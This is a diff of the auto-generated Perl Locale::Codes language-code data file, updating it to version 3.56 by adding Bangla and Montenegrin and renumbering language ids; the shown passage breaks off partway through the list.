--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language_Codes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language_Codes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Tue Nov 29 15:43:44 EST 2016
+#    Generated on: Fri Feb 23 12:17:53 EST 2018
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
-$Locale::Codes::Data{'language'}{'id'} = '7958';
+$Locale::Codes::Data{'language'}{'id'} = '7961';
 
 $Locale::Codes::Data{'language'}{'id2names'} = {
    q(0001) => [
@@ -176,6 +176,7 @@
       ],
    q(0050) => [
       q(Bengali),
+      q(Bangla),
       ],
    q(0051) => [
       q(Berber languages),
@@ -305,1293 +306,1296 @@
       q(Chamic languages),
       ],
    q(0090) => [
+      q(Montenegrin),
+      ],
+   q(0091) => [
       q(Coptic),
       ],
-   q(0091) => [
+   q(0092) => [
       q(Cornish),
       ],
-   q(0092) => [
+   q(0093) => [
       q(Corsican),
       ],
-   q(0093) => [
+   q(0094) => [
       q(Creoles and pidgins, English based),
       q(Creoles and pidgins, English-based),
       q(English-based creoles and pidgins),
       ],
-   q(0094) => [
+   q(0095) => [
       q(Creoles and pidgins, French-based ),
       q(Creoles and pidgins, French-based),
       q(French-based creoles and pidgins),
       ],
-   q(0095) => [
+   q(0096) => [
       q(Creoles and pidgins, Portuguese-based ),
       q(Creoles and pidgins, Portuguese-based),
       q(Portuguese-based creoles and pidgins),
       ],
-   q(0096) => [
+   q(0097) => [
       q(Cree),
       ],
-   q(0097) => [
+   q(0098) => [
       q(Crimean Tatar),
       q(Crimean Turkish),
       ],
-   q(0098) => [
+   q(0099) => [
       q(Creoles and pidgins ),
       q(Creoles and pidgins),
       ],
-   q(0099) => [
+   q(0100) => [
       q(Kashubian),
       ],
-   q(0100) => [
+   q(0101) => [
       q(Cushitic languages),
       ],
-   q(0101) => [
+   q(0102) => [
       q(Czech),
       ],
-   q(0102) => [
+   q(0103) => [
       q(Dakota),
       ],
-   q(0103) => [
+   q(0104) => [
       q(Danish),
       ],
-   q(0104) => [
+   q(0105) => [
       q(Dargwa),
       ],
-   q(0105) => [
+   q(0106) => [
       q(Land Dayak languages),
       ],
-   q(0106) => [
+   q(0107) => [
       q(Delaware),
       ],
-   q(0107) => [
+   q(0108) => [
       q(Slave (Athapascan)),
       ],
-   q(0108) => [
+   q(0109) => [
       q(Dogrib),
       ],
-   q(0109) => [
+   q(0110) => [
       q(Dinka),
       ],
-   q(0110) => [
+   q(0111) => [
       q(Divehi),
       q(Dhivehi),
       q(Maldivian),
       ],
-   q(0111) => [
+   q(0112) => [
       q(Dogri),
       q(Dogri (macrolanguage)),
       ],
-   q(0112) => [
+   q(0113) => [
       q(Dravidian languages),
       ],
-   q(0113) => [
+   q(0114) => [
       q(Lower Sorbian),
       ],
-   q(0114) => [
+   q(0115) => [
       q(Duala),
       ],
-   q(0115) => [
+   q(0116) => [
       q(Dutch, Middle (ca.1050-1350)),
       q(Middle Dutch (ca. 1050-1350)),
       ],
-   q(0116) => [
+   q(0117) => [
       q(Dutch),
       q(Flemish),
       ],
-   q(0117) => [
+   q(0118) => [
       q(Dyula),
       ],
-   q(0118) => [
+   q(0119) => [
       q(Dzongkha),
       ],
-   q(0119) => [
+   q(0120) => [
       q(Efik),
       ],
-   q(0120) => [
+   q(0121) => [
       q(Egyptian (Ancient)),
       ],
-   q(0121) => [
+   q(0122) => [
       q(Ekajuk),
       ],
-   q(0122) => [
+   q(0123) => [
       q(Elamite),
       ],
-   q(0123) => [
+   q(0124) => [
       q(English),
       ],
-   q(0124) => [
+   q(0125) => [
       q(English, Middle (1100-1500)),
       q(Middle English (1100-1500)),
       ],
-   q(0125) => [
+   q(0126) => [
       q(Esperanto),
       ],
-   q(0126) => [
+   q(0127) => [
       q(Estonian),
       ],
-   q(0127) => [
+   q(0128) => [
       q(Ewe),
       ],
-   q(0128) => [
+   q(0129) => [
       q(Ewondo),
       ],
-   q(0129) => [
+   q(0130) => [
       q(Fang),
       q(Fang (Equatorial Guinea)),
       ],
-   q(0130) => [
+   q(0131) => [
       q(Faroese),
       ],
-   q(0131) => [
+   q(0132) => [
       q(Fanti),
       ],
-   q(0132) => [
+   q(0133) => [
       q(Fijian),
       ],
-   q(0133) => [
+   q(0134) => [
       q(Filipino),
       q(Pilipino),
       ],
-   q(0134) => [
+   q(0135) => [
       q(Finnish),
       ],
-   q(0135) => [
+   q(0136) => [
       q(Finno-Ugrian languages),
       ],
-   q(0136) => [
+   q(0137) => [
       q(Fon),
       ],
-   q(0137) => [
+   q(0138) => [
       q(French),
       ],
-   q(0138) => [
+   q(0139) => [
       q(French, Middle (ca.1400-1600)),
       q(Middle French (ca. 1400-1600)),
       ],
-   q(0139) => [
+   q(0140) => [
       q(French, Old (842-ca.1400)),
       q(Old French (842-ca. 1400)),
       ],
-   q(0140) => [
+   q(0141) => [
       q(Northern Frisian),
       ],
-   q(0141) => [
+   q(0142) => [
       q(Eastern Frisian),
       ],
-   q(0142) => [
+   q(0143) => [
       q(Western Frisian),
       ],
-   q(0143) => [
+   q(0144) => [
       q(Fulah),
       ],
-   q(0144) => [
+   q(0145) => [
       q(Friulian),
       ],
-   q(0145) => [
+   q(0146) => [
       q(Ga),
       ],
-   q(0146) => [
+   q(0147) => [
       q(Gayo),
       ],
-   q(0147) => [
+   q(0148) => [
       q(Gbaya),
       q(Gbaya (Central African Republic)),
       ],
-   q(0148) => [
+   q(0149) => [
       q(Germanic languages),
       ],
-   q(0149) => [
+   q(0150) => [
       q(Georgian),
       ],
-   q(0150) => [
+   q(0151) => [
       q(German),
       ],
-   q(0151) => [
+   q(0152) => [
       q(Geez),
       ],
-   q(0152) => [
+   q(0153) => [
       q(Gilbertese),
       ],
-   q(0153) => [
+   q(0154) => [
       q(Gaelic),
       q(Scottish Gaelic),
       ],
-   q(0154) => [
+   q(0155) => [
       q(Irish),
       ],
-   q(0155) => [
+   q(0156) => [
       q(Galician),
       ],
-   q(0156) => [
+   q(0157) => [
       q(Manx),
       ],
-   q(0157) => [
+   q(0158) => [
       q(German, Middle High (ca.1050-1500)),
       q(Middle High German (ca. 1050-1500)),
       ],
-   q(0158) => [
+   q(0159) => [
       q(German, Old High (ca.750-1050)),
       q(Old High German (ca. 750-1050)),
       ],
-   q(0159) => [
+   q(0160) => [
       q(Gondi),
       ],
-   q(0160) => [
+   q(0161) => [
       q(Gorontalo),
       ],
-   q(0161) => [
+   q(0162) => [
       q(Gothic),
       ],
-   q(0162) => [
+   q(0163) => [
       q(Grebo),
       ],
-   q(0163) => [
+   q(0164) => [
       q(Greek, Ancient (to 1453)),
       q(Ancient Greek (to 1453)),
       ],
-   q(0164) => [
+   q(0165) => [
       q(Greek, Modern (1453-)),
       q(Greek),
       q(Modern Greek (1453-)),
       ],
-   q(0165) => [
+   q(0166) => [
       q(Guarani),
       ],
-   q(0166) => [
+   q(0167) => [
       q(Swiss German),
       q(Alemannic),
       q(Alsatian),
       ],
-   q(0167) => [
+   q(0168) => [
       q(Gujarati),
       ],
-   q(0168) => [
+   q(0169) => [
       q(Gwich'in),
       ],
-   q(0169) => [
+   q(0170) => [
       q(Haida),
       ],
-   q(0170) => [
+   q(0171) => [
       q(Haitian),
       q(Haitian Creole),
       ],
-   q(0171) => [
+   q(0172) => [
       q(Hausa),
       ],
-   q(0172) => [
+   q(0173) => [
       q(Hawaiian),
       ],
-   q(0173) => [
+   q(0174) => [
       q(Hebrew),
       ],
-   q(0174) => [
+   q(0175) => [
       q(Herero),
       ],
-   q(0175) => [
+   q(0176) => [
       q(Hiligaynon),
       ],
-   q(0176) => [
+   q(0177) => [
       q(Himachali languages),
       q(Western Pahari languages),
       ],
-   q(0177) => [
+   q(0178) => [
       q(Hindi),
       ],
-   q(0178) => [
+   q(0179) => [
       q(Hittite),
       ],
-   q(0179) => [
+   q(0180) => [
       q(Hmong),
       q(Mong),
       ],
-   q(0180) => [
+   q(0181) => [
       q(Hiri Motu),
       ],
-   q(0181) => [
+   q(0182) => [
       q(Croatian),
       ],
-   q(0182) => [
+   q(0183) => [
       q(Upper Sorbian),
       ],
-   q(0183) => [
+   q(0184) => [
       q(Hungarian),
       ],
-   q(0184) => [
+   q(0185) => [
       q(Hupa),
       ],
-   q(0185) => [
+   q(0186) => [
       q(Iban),
       ],
-   q(0186) => [
+   q(0187) => [
       q(Igbo),
       ],
-   q(0187) => [
+   q(0188) => [
       q(Icelandic),
       ],
-   q(0188) => [
+   q(0189) => [
       q(Ido),
       ],
-   q(0189) => [
+   q(0190) => [
       q(Sichuan Yi),
       q(Nuosu),
       ],
-   q(0190) => [
+   q(0191) => [
       q(Ijo languages),
       ],
-   q(0191) => [
+   q(0192) => [
       q(Inuktitut),
       ],
-   q(0192) => [
+   q(0193) => [
       q(Interlingue),
       q(Occidental),
       ],
-   q(0193) => [
+   q(0194) => [
       q(Iloko),
       ],
-   q(0194) => [
+   q(0195) => [
       q(Interlingua (International Auxiliary Language Association)),
       ],
-   q(0195) => [
+   q(0196) => [
       q(Indic languages),
       ],
-   q(0196) => [
+   q(0197) => [
       q(Indonesian),
       ],
-   q(0197) => [
+   q(0198) => [
       q(Indo-European languages),
       ],
-   q(0198) => [
+   q(0199) => [
       q(Ingush),
       ],
-   q(0199) => [
+   q(0200) => [
       q(Inupiaq),
       ],
-   q(0200) => [
+   q(0201) => [
       q(Iranian languages),
       ],
-   q(0201) => [
+   q(0202) => [
       q(Iroquoian languages),
       ],
-   q(0202) => [
+   q(0203) => [
       q(Italian),
       ],
-   q(0203) => [
+   q(0204) => [
       q(Javanese),
       ],
-   q(0204) => [
+   q(0205) => [
       q(Lojban),
       ],
-   q(0205) => [
+   q(0206) => [
       q(Japanese),
       ],
-   q(0206) => [
+   q(0207) => [
       q(Judeo-Persian),
       ],
-   q(0207) => [
+   q(0208) => [
       q(Judeo-Arabic),
       ],
-   q(0208) => [
+   q(0209) => [
       q(Kara-Kalpak),
       ],
-   q(0209) => [
+   q(0210) => [
       q(Kabyle),
       ],
-   q(0210) => [
+   q(0211) => [
       q(Kachin),
       q(Jingpho),
       ],
-   q(0211) => [
+   q(0212) => [
       q(Kalaallisut),
       q(Greenlandic),
       ],
-   q(0212) => [
+   q(0213) => [
       q(Kamba),
       q(Kamba (Kenya)),
       ],
-   q(0213) => [
+   q(0214) => [
       q(Kannada),
       ],
-   q(0214) => [
+   q(0215) => [
       q(Karen languages),
       ],
-   q(0215) => [
+   q(0216) => [
       q(Kashmiri),
       ],
-   q(0216) => [
+   q(0217) => [
       q(Kanuri),
       ],
-   q(0217) => [
+   q(0218) => [
       q(Kawi),
       ],
-   q(0218) => [
+   q(0219) => [
       q(Kazakh),
       ],
-   q(0219) => [
+   q(0220) => [
       q(Kabardian),
       ],
-   q(0220) => [
+   q(0221) => [
       q(Khasi),
       ],
-   q(0221) => [
+   q(0222) => [
       q(Khoisan languages),
       ],
-   q(0222) => [
+   q(0223) => [
       q(Central Khmer),
       ],
-   q(0223) => [
+   q(0224) => [
       q(Khotanese),
       q(Sakan),
       ],
-   q(0224) => [
+   q(0225) => [
       q(Kikuyu),
       q(Gikuyu),
       ],
-   q(0225) => [
+   q(0226) => [
       q(Kinyarwanda),
       ],
-   q(0226) => [
+   q(0227) => [
       q(Kirghiz),
       q(Kyrgyz),
       ],
-   q(0227) => [
+   q(0228) => [
       q(Kimbundu),
       ],
-   q(0228) => [
+   q(0229) => [
       q(Konkani),
       q(Konkani (macrolanguage)),
       ],
-   q(0229) => [
+   q(0230) => [
       q(Komi),
       ],
-   q(0230) => [
+   q(0231) => [
       q(Kongo),
       ],
-   q(0231) => [
+   q(0232) => [
       q(Korean),
       ],
-   q(0232) => [
+   q(0233) => [
       q(Kosraean),
       ],
-   q(0233) => [
+   q(0234) => [
       q(Kpelle),
       ],
-   q(0234) => [
+   q(0235) => [
       q(Karachay-Balkar),
       ],
-   q(0235) => [
+   q(0236) => [
       q(Karelian),
       ],
-   q(0236) => [
+   q(0237) => [
       q(Kru languages),
       ],
-   q(0237) => [
+   q(0238) => [
       q(Kurukh),
       ],
-   q(0238) => [
+   q(0239) => [
       q(Kuanyama),
       q(Kwanyama),
       ],
-   q(0239) => [
+   q(0240) => [
       q(Kumyk),
       ],
-   q(0240) => [
+   q(0241) => [
       q(Kurdish),
       ],
-   q(0241) => [
+   q(0242) => [
       q(Kutenai),
       ],
-   q(0242) => [
+   q(0243) => [
       q(Ladino),
       ],
-   q(0243) => [
+   q(0244) => [
       q(Lahnda),
       ],
-   q(0244) => [
+   q(0245) => [
       q(Lamba),
       ],
-   q(0245) => [
+   q(0246) => [
       q(Lao),
       ],
-   q(0246) => [
+   q(0247) => [
       q(Latin),
       ],
-   q(0247) => [
+   q(0248) => [
       q(Latvian),
       ],
-   q(0248) => [
+   q(0249) => [
       q(Lezghian),
       ],
-   q(0249) => [
+   q(0250) => [
       q(Limburgan),
       q(Limburger),
       q(Limburgish),
       ],
-   q(0250) => [
+   q(0251) => [
       q(Lingala),
       ],
-   q(0251) => [
+   q(0252) => [
       q(Lithuanian),
       ],
-   q(0252) => [
+   q(0253) => [
       q(Mongo),
       ],
-   q(0253) => [
+   q(0254) => [
       q(Lozi),
       ],
-   q(0254) => [
+   q(0255) => [
       q(Luxembourgish),
       q(Letzeburgesch),
       ],
-   q(0255) => [
+   q(0256) => [
       q(Luba-Lulua),
       ],
-   q(0256) => [
+   q(0257) => [
       q(Luba-Katanga),
       ],
-   q(0257) => [
+   q(0258) => [
       q(Ganda),
       ],
-   q(0258) => [
+   q(0259) => [
       q(Luiseno),
       ],
-   q(0259) => [
+   q(0260) => [
       q(Lunda),
       ],
-   q(0260) => [
+   q(0261) => [
       q(Luo (Kenya and Tanzania)),
       q(Dholuo),
       ],
-   q(0261) => [
+   q(0262) => [
       q(Lushai),
       ],
-   q(0262) => [
+   q(0263) => [
       q(Macedonian),
       ],
-   q(0263) => [
+   q(0264) => [
       q(Madurese),
       ],
-   q(0264) => [
+   q(0265) => [
       q(Magahi),
       ],
-   q(0265) => [
+   q(0266) => [
       q(Marshallese),
       ],
-   q(0266) => [
+   q(0267) => [
       q(Maithili),
       ],
-   q(0267) => [
+   q(0268) => [
       q(Makasar),
       ],
-   q(0268) => [
+   q(0269) => [
       q(Malayalam),
       ],
-   q(0269) => [
+   q(0270) => [
       q(Mandingo),
       q(Manding),
       ],
-   q(0270) => [
+   q(0271) => [
       q(Maori),
       ],
-   q(0271) => [
+   q(0272) => [
       q(Austronesian languages),
       ],
-   q(0272) => [
+   q(0273) => [
       q(Marathi),
       ],
-   q(0273) => [
+   q(0274) => [
       q(Masai),
       ],
-   q(0274) => [
+   q(0275) => [
       q(Malay),
       q(Malay (macrolanguage)),
       ],
-   q(0275) => [
+   q(0276) => [
       q(Moksha),
       ],
-   q(0276) => [
+   q(0277) => [
       q(Mandar),
       ],
-   q(0277) => [
+   q(0278) => [
       q(Mende),
       q(Mende (Sierra Leone)),
       ],
-   q(0278) => [
+   q(0279) => [
       q(Irish, Middle (900-1200)),
       q(Middle Irish (900-1200)),
       ],
-   q(0279) => [
+   q(0280) => [
       q(Mi'kmaq),
       q(Micmac),
       ],
-   q(0280) => [
+   q(0281) => [
       q(Minangkabau),
       ],
-   q(0281) => [
+   q(0282) => [
       q(Uncoded languages),
       ],
-   q(0282) => [
+   q(0283) => [
       q(Mon-Khmer languages),
       ],
-   q(0283) => [
+   q(0284) => [
       q(Malagasy),
       ],
-   q(0284) => [
+   q(0285) => [
       q(Maltese),
       ],
-   q(0285) => [
+   q(0286) => [
       q(Manchu),
       ],
-   q(0286) => [
+   q(0287) => [
       q(Manipuri),
       ],
-   q(0287) => [
+   q(0288) => [
       q(Manobo languages),
       ],
-   q(0288) => [
+   q(0289) => [
       q(Mohawk),
       ],
-   q(0289) => [
+   q(0290) => [
       q(Mongolian),
       ],
-   q(0290) => [
+   q(0291) => [
       q(Mossi),
       ],
-   q(0291) => [
+   q(0292) => [
       q(Multiple languages),
       ],
-   q(0292) => [
+   q(0293) => [
       q(Munda languages),
       ],
-   q(0293) => [
+   q(0294) => [
       q(Creek),
       ],
-   q(0294) => [
+   q(0295) => [
       q(Mirandese),
       ],
-   q(0295) => [
+   q(0296) => [
       q(Marwari),
       ],
-   q(0296) => [
+   q(0297) => [
       q(Mayan languages),
       ],
-   q(0297) => [
+   q(0298) => [
       q(Erzya),
       ],
-   q(0298) => [
+   q(0299) => [
       q(Nahuatl languages),
       ],
-   q(0299) => [
+   q(0300) => [
       q(North American Indian languages),
       ],
-   q(0300) => [
+   q(0301) => [
       q(Neapolitan),
       ],
-   q(0301) => [
+   q(0302) => [
       q(Nauru),
       ],
-   q(0302) => [
+   q(0303) => [
       q(Navajo),
       q(Navaho),
       ],
-   q(0303) => [
+   q(0304) => [
       q(Ndebele, South),
       q(South Ndebele),
       ],
-   q(0304) => [
+   q(0305) => [
       q(Ndebele, North),
       q(North Ndebele),
       ],
-   q(0305) => [
+   q(0306) => [
       q(Ndonga),
       ],
-   q(0306) => [
+   q(0307) => [
       q(Low German),
       q(Low Saxon),
       q(German, Low),
       q(Saxon, Low),
       ],
-   q(0307) => [
+   q(0308) => [
       q(Nepali),
       q(Nepali (macrolanguage)),
       ],
-   q(0308) => [
+   q(0309) => [
       q(Nepal Bhasa),
       q(Newari),
       ],
-   q(0309) => [
+   q(0310) => [
       q(Nias),
       ],
-   q(0310) => [
+   q(0311) => [
       q(Niger-Kordofanian languages),
       ],
-   q(0311) => [
+   q(0312) => [
       q(Niuean),
       ],
-   q(0312) => [
+   q(0313) => [
       q(Norwegian Nynorsk),
       q(Nynorsk, Norwegian),
       ],
-   q(0313) => [
+   q(0314) => [
       q(Bokmal, Norwegian),
       q(Norwegian Bokmal),
       ],
-   q(0314) => [
+   q(0315) => [
       q(Nogai),
       ],
-   q(0315) => [
+   q(0316) => [
       q(Norse, Old),
       q(Old Norse),
       ],
-   q(0316) => [
+   q(0317) => [
       q(Norwegian),
       ],
-   q(0317) => [
+   q(0318) => [
       q(N'Ko),
       ],
-   q(0318) => [
+   q(0319) => [
       q(Pedi),
       q(Sepedi),
       q(Northern Sotho),
       ],
-   q(0319) => [
+   q(0320) => [
       q(Nubian languages),
       ],
-   q(0320) => [
+   q(0321) => [
       q(Classical Newari),
       q(Old Newari),
       q(Classical Nepal Bhasa),
       ],
-   q(0321) => [
+   q(0322) => [
       q(Chichewa),
       q(Chewa),
       q(Nyanja),
       ],
-   q(0322) => [
+   q(0323) => [
       q(Nyamwezi),
       ],
-   q(0323) => [
+   q(0324) => [
       q(Nyankole),
       ],
-   q(0324) => [
+   q(0325) => [
       q(Nyoro),
       ],
-   q(0325) => [
+   q(0326) => [
       q(Nzima),
       ],
-   q(0326) => [
+   q(0327) => [
       q(Occitan (post 1500)),
       q(Provencal),
       ],
-   q(0327) => [
+   q(0328) => [
       q(Ojibwa),
       ],
-   q(0328) => [
+   q(0329) => [
       q(Oriya),
       q(Oriya (macrolanguage)),
       q(Odia (macrolanguage)),
       ],
-   q(0329) => [
+   q(0330) => [
       q(Oromo),
       ],
-   q(0330) => [
+   q(0331) => [
       q(Osage),
       ],
-   q(0331) => [
+   q(0332) => [
       q(Ossetian),
       q(Ossetic),
       ],
-   q(0332) => [
+   q(0333) => [
       q(Turkish, Ottoman (1500-1928)),
       q(Ottoman Turkish (1500-1928)),
       ],
-   q(0333) => [
+   q(0334) => [
       q(Otomian languages),
       ],
-   q(0334) => [
+   q(0335) => [
       q(Papuan languages),
       ],
-   q(0335) => [
+   q(0336) => [
       q(Pangasinan),
       ],
-   q(0336) => [
+   q(0337) => [
       q(Pahlavi),
       ],
-   q(0337) => [
+   q(0338) => [
       q(Pampanga),
       q(Kapampangan),
       ],
-   q(0338) => [
+   q(0339) => [
       q(Panjabi),
       q(Punjabi),
       ],
-   q(0339) => [
+   q(0340) => [
       q(Papiamento),
       ],
-   q(0340) => [
+   q(0341) => [
       q(Palauan),
       ],
-   q(0341) => [
+   q(0342) => [
       q(Persian, Old (ca.600-400 B.C.)),
       q(Old Persian (ca. 600-400 B.C.)),
       ],
-   q(0342) => [
+   q(0343) => [
       q(Persian),
       ],
-   q(0343) => [
+   q(0344) => [
       q(Philippine languages),
       ],
-   q(0344) => [
+   q(0345) => [
       q(Phoenician),
       ],
-   q(0345) => [
+   q(0346) => [
       q(Pali),
       ],
-   q(0346) => [
+   q(0347) => [
       q(Polish),
       ],
-   q(0347) => [
+   q(0348) => [
       q(Pohnpeian),
       ],
-   q(0348) => [
+   q(0349) => [
       q(Portuguese),
       ],
-   q(0349) => [
+   q(0350) => [
       q(Prakrit languages),
       ],
-   q(0350) => [
+   q(0351) => [
       q(Provencal, Old (to 1500)),
       q(Old Provencal (to 1500)),
       q(Old Occitan (to 1500)),
       ],
-   q(0351) => [
+   q(0352) => [
       q(Pushto),
       q(Pashto),
       ],
-   q(0352) => [
+   q(0353) => [
       q(Reserved for local use),
       ],
-   q(0353) => [
+   q(0354) => [
       q(Quechua),
       ],
-   q(0354) => [
+   q(0355) => [
       q(Rajasthani),
       ],
-   q(0355) => [
+   q(0356) => [
       q(Rapanui),
       ],
-   q(0356) => [
+   q(0357) => [
       q(Rarotongan),
       q(Cook Islands Maori),
       ],
-   q(0357) => [
+   q(0358) => [
       q(Romance languages),
       ],
-   q(0358) => [
+   q(0359) => [
       q(Romansh),
       ],
-   q(0359) => [
+   q(0360) => [
       q(Romany),
       ],
-   q(0360) => [
+   q(0361) => [
       q(Romanian),
       q(Moldavian),
       q(Moldovan),
       ],
-   q(0361) => [
+   q(0362) => [
       q(Rundi),
       ],
-   q(0362) => [
+   q(0363) => [
       q(Aromanian),
       q(Arumanian),
       q(Macedo-Romanian),
       ],
-   q(0363) => [
+   q(0364) => [
       q(Russian),
       ],
-   q(0364) => [
+   q(0365) => [
       q(Sandawe),
       ],
-   q(0365) => [
+   q(0366) => [
       q(Sango),
       ],
-   q(0366) => [
+   q(0367) => [
       q(Yakut),
       ],
-   q(0367) => [
+   q(0368) => [
       q(South American Indian (Other)),
       q(South American Indian languages),
       ],
-   q(0368) => [
+   q(0369) => [
       q(Salishan languages),
       ],
-   q(0369) => [
+   q(0370) => [
       q(Samaritan Aramaic),
       ],
-   q(0370) => [
+   q(0371) => [
       q(Sanskrit),
       ],
-   q(0371) => [
+   q(0372) => [
       q(Sasak),
       ],
-   q(0372) => [
+   q(0373) => [
       q(Santali),
       ],
-   q(0373) => [
+   q(0374) => [
       q(Sicilian),
       ],
-   q(0374) => [
+   q(0375) => [
       q(Scots),
       ],
-   q(0375) => [
+   q(0376) => [
       q(Selkup),
       ],
-   q(0376) => [
+   q(0377) => [
       q(Semitic languages),
       ],
-   q(0377) => [
+   q(0378) => [
       q(Irish, Old (to 900)),
       q(Old Irish (to 900)),
       ],
-   q(0378) => [
+   q(0379) => [
       q(Sign Languages),
       ],
-   q(0379) => [
+   q(0380) => [
       q(Shan),
       ],
-   q(0380) => [
+   q(0381) => [
       q(Sidamo),
       ],
-   q(0381) => [
+   q(0382) => [
       q(Sinhala),
       q(Sinhalese),
       ],
-   q(0382) => [
+   q(0383) => [
       q(Siouan languages),
       ],
-   q(0383) => [
+   q(0384) => [
       q(Sino-Tibetan languages),
       ],
-   q(0384) => [
+   q(0385) => [
       q(Slavic languages),
       ],
-   q(0385) => [
+   q(0386) => [
       q(Slovak),
       ],
-   q(0386) => [
+   q(0387) => [
       q(Slovenian),
       ],
-   q(0387) => [
+   q(0388) => [
       q(Southern Sami),
       ],
-   q(0388) => [
+   q(0389) => [
       q(Northern Sami),
       ],
-   q(0389) => [
+   q(0390) => [
       q(Sami languages),
       ],
-   q(0390) => [
+   q(0391) => [
       q(Lule Sami),
       ],
-   q(0391) => [
+   q(0392) => [
       q(Inari Sami),
       ],
-   q(0392) => [
+   q(0393) => [
       q(Samoan),
       ],
-   q(0393) => [
+   q(0394) => [
       q(Skolt Sami),
       ],
-   q(0394) => [
+   q(0395) => [
       q(Shona),
       ],
-   q(0395) => [
+   q(0396) => [
       q(Sindhi),
       ],
-   q(0396) => [
+   q(0397) => [
       q(Soninke),
       ],
-   q(0397) => [
+   q(0398) => [
       q(Sogdian),
       ],
-   q(0398) => [
+   q(0399) => [
       q(Somali),
       ],
-   q(0399) => [
+   q(0400) => [
       q(Songhai languages),
       ],
-   q(0400) => [
+   q(0401) => [
       q(Sotho, Southern),
       q(Southern Sotho),
       ],
-   q(0401) => [
+   q(0402) => [
       q(Spanish),
       q(Castilian),
       ],
-   q(0402) => [
+   q(0403) => [
       q(Sardinian),
       ],
-   q(0403) => [
+   q(0404) => [
       q(Sranan Tongo),
       ],
-   q(0404) => [
+   q(0405) => [
       q(Serbian),
       ],
-   q(0405) => [
+   q(0406) => [
       q(Serer),
       ],
-   q(0406) => [
+   q(0407) => [
       q(Nilo-Saharan languages),
       ],
-   q(0407) => [
+   q(0408) => [
       q(Swati),
       ],
-   q(0408) => [
+   q(0409) => [
       q(Sukuma),
       ],
-   q(0409) => [
+   q(0410) => [
       q(Sundanese),
       ],
-   q(0410) => [
+   q(0411) => [
       q(Susu),
       ],
-   q(0411) => [
+   q(0412) => [
       q(Sumerian),
       ],
-   q(0412) => [
+   q(0413) => [
       q(Swahili),
       q(Swahili (macrolanguage)),
       ],
-   q(0413) => [
+   q(0414) => [
       q(Swedish),
       ],
-   q(0414) => [
+   q(0415) => [
       q(Classical Syriac),
       ],
-   q(0415) => [
+   q(0416) => [
       q(Syriac),
       ],
-   q(0416) => [
+   q(0417) => [
       q(Tahitian),
       ],
-   q(0417) => [
+   q(0418) => [
       q(Tai languages),
       ],
-   q(0418) => [
+   q(0419) => [
       q(Tamil),
       ],
-   q(0419) => [
+   q(0420) => [
       q(Tatar),
       ],
-   q(0420) => [
+   q(0421) => [
       q(Telugu),
       ],
-   q(0421) => [
+   q(0422) => [
       q(Timne),
       ],
-   q(0422) => [
+   q(0423) => [
       q(Tereno),
       ],
-   q(0423) => [
+   q(0424) => [
       q(Tetum),
       ],
-   q(0424) => [
+   q(0425) => [
       q(Tajik),
       ],
-   q(0425) => [
+   q(0426) => [
       q(Tagalog),
       ],
-   q(0426) => [
+   q(0427) => [
       q(Thai),
       ],
-   q(0427) => [
+   q(0428) => [
       q(Tibetan),
       ],
-   q(0428) => [
+   q(0429) => [
       q(Tigre),
       ],
-   q(0429) => [
+   q(0430) => [
       q(Tigrinya),
       ],
-   q(0430) => [
+   q(0431) => [
       q(Tiv),
       ],
-   q(0431) => [
+   q(0432) => [
       q(Tokelau),
       ],
-   q(0432) => [
+   q(0433) => [
       q(Klingon),
       q(tlhIngan-Hol),
       ],
-   q(0433) => [
+   q(0434) => [
       q(Tlingit),
       ],
-   q(0434) => [
+   q(0435) => [
       q(Tamashek),
       ],
-   q(0435) => [
+   q(0436) => [
       q(Tonga (Nyasa)),
       ],
-   q(0436) => [
+   q(0437) => [
       q(Tonga (Tonga Islands)),
       q(Tonga),
       ],
-   q(0437) => [
+   q(0438) => [
       q(Tok Pisin),
       ],
-   q(0438) => [
+   q(0439) => [
       q(Tsimshian),
       ],
-   q(0439) => [
+   q(0440) => [
       q(Tswana),
       ],
-   q(0440) => [
+   q(0441) => [
       q(Tsonga),
       ],
-   q(0441) => [
+   q(0442) => [
       q(Turkmen),
       ],
-   q(0442) => [
+   q(0443) => [
       q(Tumbuka),
       ],
-   q(0443) => [
+   q(0444) => [
       q(Tupi languages),
       ],
-   q(0444) => [
+   q(0445) => [
       q(Turkish),
       ],
-   q(0445) => [
+   q(0446) => [
       q(Altaic languages),
       ],
-   q(0446) => [
+   q(0447) => [
       q(Tuvalu),
       ],
-   q(0447) => [
+   q(0448) => [
       q(Twi),
       ],
-   q(0448) => [
+   q(0449) => [
       q(Tuvinian),
       ],
-   q(0449) => [
+   q(0450) => [
       q(Udmurt),
       ],
-   q(0450) => [
+   q(0451) => [
       q(Ugaritic),
       ],
-   q(0451) => [
+   q(0452) => [
       q(Uighur),
       q(Uyghur),
       ],
-   q(0452) => [
+   q(0453) => [
       q(Ukrainian),
       ],
-   q(0453) => [
+   q(0454) => [
       q(Umbundu),
       ],
-   q(0454) => [
+   q(0455) => [
       q(Undetermined),
       ],
-   q(0455) => [
+   q(0456) => [
       q(Urdu),
       ],
-   q(0456) => [
+   q(0457) => [
       q(Uzbek),
       ],
-   q(0457) => [
+   q(0458) => [
       q(Vai),
       ],
-   q(0458) => [
+   q(0459) => [
       q(Venda),
       ],
-   q(0459) => [
+   q(0460) => [
       q(Vietnamese),
       ],
-   q(0460) => [
+   q(0461) => [
       q(Volapuk),
       ],
-   q(0461) => [
+   q(0462) => [
       q(Votic),
       ],
-   q(0462) => [
+   q(0463) => [
       q(Wakashan languages),
       ],
-   q(0463) => [
+   q(0464) => [
       q(Walamo),
       q(Wolaytta),
       q(Wolaitta),
       ],
-   q(0464) => [
+   q(0465) => [
       q(Waray),
       q(Waray (Philippines)),
       ],
-   q(0465) => [
+   q(0466) => [
       q(Washo),
       ],
-   q(0466) => [
+   q(0467) => [
       q(Welsh),
       ],
-   q(0467) => [
+   q(0468) => [
       q(Sorbian languages),
       ],
-   q(0468) => [
+   q(0469) => [
       q(Walloon),
       ],
-   q(0469) => [
+   q(0470) => [
       q(Wolof),
       ],
-   q(0470) => [
+   q(0471) => [
       q(Kalmyk),
       q(Oirat),
       ],
-   q(0471) => [
+   q(0472) => [
       q(Xhosa),
       ],
-   q(0472) => [
